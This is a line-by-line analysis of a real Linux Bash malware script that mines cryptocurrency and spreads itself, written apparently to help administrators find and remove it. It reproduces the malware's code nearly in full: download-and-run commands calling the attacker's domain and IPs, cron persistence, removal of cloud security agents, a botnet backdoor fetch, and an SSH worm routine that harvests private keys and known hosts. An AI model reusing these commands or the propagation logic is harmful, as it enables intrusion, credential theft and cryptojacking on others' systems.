Analysis of a Linux virus written in Bash

Bash virus code

In the article “How to find and remove malware from Linux”, we looked at typical examples of how a virus in Linux makes itself persistent (in order to persist and start after a reboot), and also collected examples of commands that will allow a system administrator to detect the presence of malware.

We found that the following line is written to the Cron task schedule:

(curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms; /tmp/xms; rm -rf /tmp/xms

The process on the infected server looked like this:

/bin/sh -c (curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms; /tmp/xms; rm -rf /tmp/xms

Let's take a look at these commands. The first part, using curl, or wget or python, tries to download the malicious code:

(curl -fsSL http://bash.givemexyz.in/xms ||
wget -q -O- http://bash.givemexyz.in/xms ||
python -c 'import urllib2 as fbi; print fbi.urlopen("http://bash.givemexyz.in/xms").read()')

This code is then piped to Bash for execution:

| bash -sh;

Next, the lwp-download function (which is not a built-in function or Bash command) again tries to download the same address and save the code to the /tmp/xms file, then two attempts are made to run the specified file, and finally it is deleted:

lwp-download http://bash.givemexyz.in/xms /tmp/xms;
bash /tmp/xms;
/tmp/xms;
rm -rf /tmp/xms

I downloaded the code from the link – as you might expect, it turned out to be a Bash script:

Virus analysis for Linux

The script is quite large – 300+ lines, the script is interesting in that it not only downloads and runs malicious code, but also tries to infect other computers on the network! Analysis of malware, in addition to the obvious value – the study of how they work – can also help in identifying the techniques by which the virus tried to disguise itself and gain a foothold in the system. The latter is needed to completely remove the malicious code from the computer. Let's analyze the entire virus code line by line.

The values of the $SHELL and $PATH variables are set – apparently, this is necessary for the script to work:

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin

Disable forced SELinux mode:

setenforce 0 2>/dev/null

The maximum number of processes that one user can have is set – not sure why, perhaps optimization for the miner which is downloaded by this virus:

ulimit -u 50000

Using a command (this is not a command from a virus)

ulimit -a

you can see the current values: on my home computer I have 127782 processes per user, on the server it is 11873 – apparently, the value is set automatically, for example, based on the amount of RAM or processor cores.

For some reason, the downloaded code sets value for Huge Pages – maybe another optimization for the miner. The value is taken as the number of cores and multiplied by 3:

sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))

The following set of commands kills processes that use network connections with the specified ports and IP addresses – perhaps the virus is deleting competitors or its old versions:

netstat -antp | grep ':3333'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':4444'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5555'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':7777'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':14444'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5790'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':45700'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':2222'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':9999'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':20580'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':13531'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '23.94.24.12:8080'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
netstat -antp | grep '134.122.17.13:8080'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
netstat -antp | grep '107.189.11.170:443'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9

Quite an interesting way to get random values:

rand=$(seq 0 255 | sort -R | head -n1)
rand2=$(seq 0 255 | sort -R | head -n1)

But the values of these variables are not used. In the future, the variable $rand is reassigned to a random value in the range needed by the author. It can be noted that the range 0-255 is typical for IP addresses.

The blocking of the listed files is removed – you need to pay attention to these files when removing the virus:

chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down

See also: File attributes on Linux

The following code snippet tries in every possible way to remove the aliyun and yunjing services – I don't know what these services are, apparently, the administration and monitoring tools for Linux (cloud) servers:

if ps aux | grep -i '[a]liyun'; then
	(wget -q -O - http://update.aegis.aliyun.com/download/uninstall.sh||curl -s http://update.aegis.aliyun.com/download/uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
	(wget -q -O - http://update.aegis.aliyun.com/download/quartz_uninstall.sh||curl -s http://update.aegis.aliyun.com/download/quartz_uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/quartz_uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
	pkill aliyun-service
	rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
	rm -rf /usr/local/aegis*
	systemctl stop aliyun.service
	systemctl disable aliyun.service
	service bcm-agent stop
	yum remove bcm-agent -y
	apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
	/usr/local/qcloud/stargate/admin/uninstall.sh
	/usr/local/qcloud/YunJing/uninst.sh
	/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
sleep 1
echo "DER Uninstalled"

In the original code, atypical indents are used here, apparently, this is a copy-paste from another source – not an author's work.

The protection against deleting and writing the /tmp/dbused file is removed – remember this location to search for traces of the virus:

chattr -ai /tmp/dbused

The following code, using ifconfig or ip, tries to get the network prefix, for example, “192.168”:

if [ -s /usr/bin/ifconfig ];
then
	range=$(ifconfig | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
else
	range=$(ip a | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
fi

The value of the network prefix is written to the variable $range, which, like $rand with $rand2, is not used anywhere – perhaps this is an unfinished (unsuccessful) idea.

The connection with the mining pool is checked, if it is absent, then the $dns variable is assigned the “-d” value, which is then passed to the miner program:

if [ $(ping -c 1 pool.supportxmr.com 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
	dns=""
else
	dns="-d"
fi

Now the connection to the attacker's server is checked, if there is one, the URL will be used as the address, if the ping is unsuccessful, then the IP will be written as the address:

if [ $(ping -c 1 bash.givemexyz.in 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
	url="http://bash.givemexyz.in"
else
	url="http://104.244.75.159"
fi

These lines try to register a virus in Cron tasks:

echo -e "*/1 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/root
echo -e "*/2 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/apache
echo -e "*/3 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/nginx
echo -e "*/30 * * * *	(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "* * * * *	(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
echo "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1

Note that the $DIR variable is used, but it hasn't been set anywhere yet.

This may mean that the virus writes the correct lines to the Cron only the second time it is run, when the $DIR value is already set in the shell (or does not write the correct value at all).

See an example (this command is not from the virus):

echo $DIR; DIR='something'

if run only once, nothing will be output. But if you run the same command a second time, a line will be displayed. If you close and open the terminal, and then run the command again, nothing will be displayed again.

Also, nowhere was the “lwp-download” function declared, which is called with the arguments $url/xms and $DIR/xms, that is, the file is saved with the name “xms”.

\n##” is a newline character and two hashes on the next line (comment) (this command is not from a virus):

echo -e '\n##'

##

We return to the virus code. Yep, finally the value of the $DIR variable is set:

DIR="/tmp"

Going to the /tmp folder:

cd $DIR

The following code calculates the MD5 hash for the /tmp/dbused file and compares it to the two hashes. If the hash does not match, then the file /usr/local/lib/libkk.so is deleted, the file /etc/ld.so.preload is erased, 2 processes with the names “wc.conf” and “susss” are terminated – apparently, this cleaning from the old version. If the file does not exist at all, a directory is created in /tmp.

if [ -a "/tmp/dbused" ]
then
	if [ -w "/tmp/dbused" ] && [ ! -d "/tmp/dbused" ]
	then
		if [ -x "$(command -v md5sum)" ]
		then
			sum=$(md5sum /tmp/dbused | awk '{ print $1 }')
			echo $sum
			case $sum in
			dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
				echo "x86_64 OK"
  			;;
			*)
 				echo "x86_64 wrong"
				rm -rf /usr/local/lib/libkk.so
   				echo "" > /etc/ld.so.preload
				pkill -f wc.conf
				pkill -f susss
				sleep 4
			;;
			esac
		fi
	echo "P OK"
	else
		DIR=$(mktemp -d)/tmp
		mkdir $DIR
		echo "T DIR $DIR"
	fi
else
	if [ -d "/tmp" ]
	then
		DIR="/tmp"
	fi
	echo "P NOT EXISTS"
fi

The presence of the /tmp/.sh/dbused directory is checked (we remember it to search for copies of the virus) and if it is not there, then a temporary folder is created.

if [ -d "/tmp/.sh/dbused" ]
then
	DIR=$(mktemp -d)/tmp
	mkdir $DIR
	echo "T DIR $DIR"
fi

The declaration of the “get” function, the function removes the lock from the file (the name is passed in the second argument, and the URL in the first argument of the function), tries to download it in three different ways and saves the file, making it executable:

get() {
	chattr -i $2; rm -rf $2
	wget -q -O - $1 > $2 || curl -fsSL $1 -o $2 ||  lwp-download $1 $2 ||
	chmod +x $2
}

Declaration of the “downloadIfNeed” function, which is not used anywhere. It checks if there is a file “$DIR/dbused”, if not, then downloads it, if there is, then checks the MD5 hash, comparing with two values. If the hash is incorrect, then it tries to download it.

New virus file names:

  • $DIR/x86_64
  • $DIR/sssus
  • $DIR/tmp.txt
downloadIfNeed()
{
	if [ -x "$(command -v md5sum)" ]
	then
		if [ ! -f $DIR/dbused ]; then
		echo "File not found!"
		download
	fi
	sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
	echo $sum
	case $sum in
		dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
			echo "x86_64 OK"
		;;
		*)
			echo "x86_64 wrong"
			sizeBefore=$(du $DIR/x86_64)
 			if [ -s /usr/bin/curl ];
				then
 				WGET="curl -k -o ";
			fi
    			if [ -s /usr/bin/wget ];
      			then
 				WGET="wget --no-check-certificate -O ";
  			fi
			download
			sumAfter=$(md5sum $DIR/x86_64 | awk '{ print $1 }')
    			if [ -s /usr/bin/curl ];
			then
				echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sssus` > $DIR/tmp.txt
			fi
		;;
	esac
	else
		echo "No md5sum"
		download
	fi
}

Another piece of code that is not actually used, since it is a declaration of a function that is called only from another unused piece of code.

Possible names of the virus are mentioned

  • $DIR/x86_643
  • $DIR/x86_64
download() {
	if [ -x "$(command -v md5sum)" ]
	then
		sum=$(md5sum $DIR/x86_643 | awk '{ print $1 }')
		echo $sum
		case $sum in
			dc3d2e17df6cef8df41ce8b0eba99291 | dc3d2e17df6cef8df41ce8b0eba99291)
				echo "x86_64 OK"
				cp $DIR/x86_643 $DIR/x86_64
				cp $DIR/x86_643 $DIR/x86_64
			;;
			*)
				 echo "x86_64 wrong"
				download2
			;;
		esac
	else
		echo "No md5sum"
		download2
	fi
}

And one more function that is called only in another unused function:

download2() {
	get $url/$(uname -m) "$DIR"/dbused
	if [ -x "$(command -v md5sum)" ]
	then
		sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
		echo $sum
		case $sum in
			dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
 				echo "x86_64 OK"
   				cp $DIR/x86_64 $DIR/x86_643
			;;
			 *)
				echo "x86_64 wrong"
			;;
		esac
	else
		echo "No md5sum"
	fi
}

The next function checks if a connection is established with 212.114.52.24:8080 or 194.5.249.24:8080, and if it is not, then the file $url/$(uname -m) is downloaded, that is, in fact, bash[.]givemexyz[.]in/x86_64 and it is saved to a file under the path /tmp/dbused. The downloaded file is made executable and is run twice with the “-pwn” option and the “-c $dns” option, the value of the $dns variable can be “-d” or an empty string.

judge() {
	if [ ! "$(netstat -ant|grep '212.114.52.24:8080\|194.5.249.24:8080'|grep 'ESTABLISHED'|grep -v grep)" ];
	then
		get $url/$(uname -m) "$DIR"/dbused
		chmod +x "$DIR"/dbused
		"$DIR"/dbused -c $dns
		"$DIR"/dbused -pwn
		sleep 5
	else
		echo "Running"
	fi
}

This code again checks connections to 212.114.52.24:8080 and 194.5.249.24:8080, and if there are no established connections or listening ports, then it launches the previous “judge” function.

if [ ! "$(netstat -ant|grep '212.114.52.24:8080\|194.5.249.24:8080'|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];
then
	judge
else
	echo "Running"
fi

The following code will check for an established connection to 104.168.71.132:80 and if it is missing, it downloads the file bash[.]givemexyz[.]in/bashirc.x86_64, which is saved in the path /tmp/bashirc. The downloaded file is a Trojan (backdoor) of the Tsunami botnet. We can conclude that 104.168.71.132 is one of the control servers of this botnet.

You can try to perform traffic analysis related articles:

if [ ! "$(netstat -ant|grep '104.168.71.132:80'|grep 'ESTABLISHED'|grep -v grep)" ];
then
	get $url/bashirc.$(uname -m) "$DIR"/bashirc
	chmod 777 "$DIR"/bashirc
	"$DIR"/bashirc
else
	echo "Running"
fi

A function that tries to make the virus persistent on the system. This snippet is distinguished from the rest of the code by indentation., unlike previous attempts to schedule Cron tasks, here the already declared $DIR variable is used (although the “lwp-download” function was never declared anywhere).

There are a number of errors in the code:

  • the “at” command is used, which is usually absent by default
  • the variable $RANDOM is used, the value of which is not set

Nevertheless, you can guess that the logic is as follows: if persistence of a virus via Cron is not available, then it tries to save itself in one of the following locations, chosen at random:

  • /dev/shm/cruner
  • /tmp/cruner
  • /var/tmp/cruner
  • /home/$(whoami)/cruner
  • /run/user/$(echo $UID)/cruner
  • /run/user/$(echo $UID)/systemd/cruner

The payload from the $pay variable is saved as a virus.

cronbackup() {
	pay="(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR" 
	status=0 
	crona=$(systemctl is-active cron) 
	cronb=$(systemctl is-active crond) 
	cronatd=$(systemctl is-active atd) 
	if [ "$crona" == "active" ] ; then 
		echo "cron okay" 
	elif [ "$cronb" == "active" ]; then 
		echo "cron okay" 
	elif [ "$cronatd" == "active" ] ; then 
		status=1 
	else 
		status=2 
	fi 
	if [ $status -eq 1 ] ; then 
		for a in $(at -l|awk '{print $1}'); do at -r $a; done 
		echo "$pay" | at -m now + 1 minute 
	fi 
	if [ $status -eq 2 ] || [ "$me" != "root" ] ;then
		arr[0]="/dev/shm"
		arr[1]="/tmp"
		arr[2]="/var/tmp"
		arr[3]="/home/$(whoami)"
		arr[4]="/run/user/$(echo $UID)"
		arr[5]="/run/user/$(echo $UID)/systemd" 
		rand=$[$RANDOM % ${#arr[@]}]
		echo "Setting up custom backup" 
		ps auxf|grep -v grep|grep "cruner" | awk '{print $2}'|xargs kill -9 
		key="while true; do sleep 60 && $pay; done" 
		echo -e "$key\n##" > ${arr[$rand]}/cruner && chmod 777 ${arr[$rand]}/cruner 
		nohup ${arr[$rand]}/cruner >/dev/null 2>&1 &
		sleep 15 
		rm -rf ${arr[$rand]}/cruner 
	fi 
} 
cronbackup

The next snippet gives us another IP 209.141.40.190 – if it is not mentioned in any Cron task, then an attempt is made to write the already familiar payload.

if crontab -l | grep -q "$url\|209.141.40.190"
then
	echo "Cron exists"
else
	crontab -r
	echo "Cron not found"
	echo "* * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" | crontab -
fi

Finally, in this part, the virus tries to penetrate computers that have ever been logged on from an infected system and execute malicious code there.

Keys are collected

  • id_rsa*pub from directories and subdirectories ~/, /root and /home
  • IdentityFile from ~/.ssh/config, /home/*/.ssh/config and /root/.ssh/config
  • *.pem from directories and subdirectories ~/, /root and /home

Hostnames are collected

  • from HostName fields of ~/.ssh/config, /home/*/.ssh/config and /root/.ssh/config files
  • from ssh and scp commands found in ~/.bash_history, /home/*/.bash_history and /root/.bash_history files
  • IP addresses from files ~/*/.ssh/known_hosts, /home/*/.ssh/known_hosts and /root/.ssh/known_hosts

Usernames are collected as follows:

  • the folders ~/, /root and /home are scanned, and if the id_rsa file is found there in the .ssh folder, then the name of the owner user is added to the list
  • root is added to the list

When the lists of keys, hosts and users have been compiled, brute-force attack begins with an attempt to execute the payload on the remote host.

KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
USERZ=$(
	echo "root"
	find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"
)
userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
for user in $userlist; do
	for host in $hostlist; do
		for key in $keylist; do
			chmod +r $key; chmod 400 $key
			ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms"
		done
	done
done

Pointless code, since these files were not previously mentioned

rm -rf "$DIR"/2start.jpg
rm -rf "$DIR"/xmi

Finally, an attempt is made to block the specified files from deletion – they contain Cron tasks with the payload of the virus.

chattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down

Analysis of binary files

At a minimum, it is worth trying to find lines in virus files, since there may be file names, IP addresses, payload:

rabin2 -z bashirc.x86_64
rabin2 -z x86_64

But in this case, nothing was found, possibly due to the use of the UPX packer.

Information on VirusTotal for dbused, aka x86_64: https://www.virustotal.com/gui/file/4809d9eeb0c9ff1b8ecb557dca4b50acfa02d1dbf308346338666a05b6a29c57/detection

Information about bashirc.x86_64: https://www.virustotal.com/gui/file/fc46525f37cc3f2a7e43d83dc5dd48ff8f7a456148e615cb9f592e6976635c1d/detection

Summary

Analysis of the payload, scripts, executable files can help find ways to fix the virus, the addresses of the control servers, the addresses of the viruses downloaded to the victim's computer.

As can be understood from the unused fragments and the style of the code, the code has gone through some development, possibly compiled from different sources.

Related: Linux directory structure. Important Linux files

Recommended for you:

Leave a Reply

Your email address will not be published. Required fields are marked *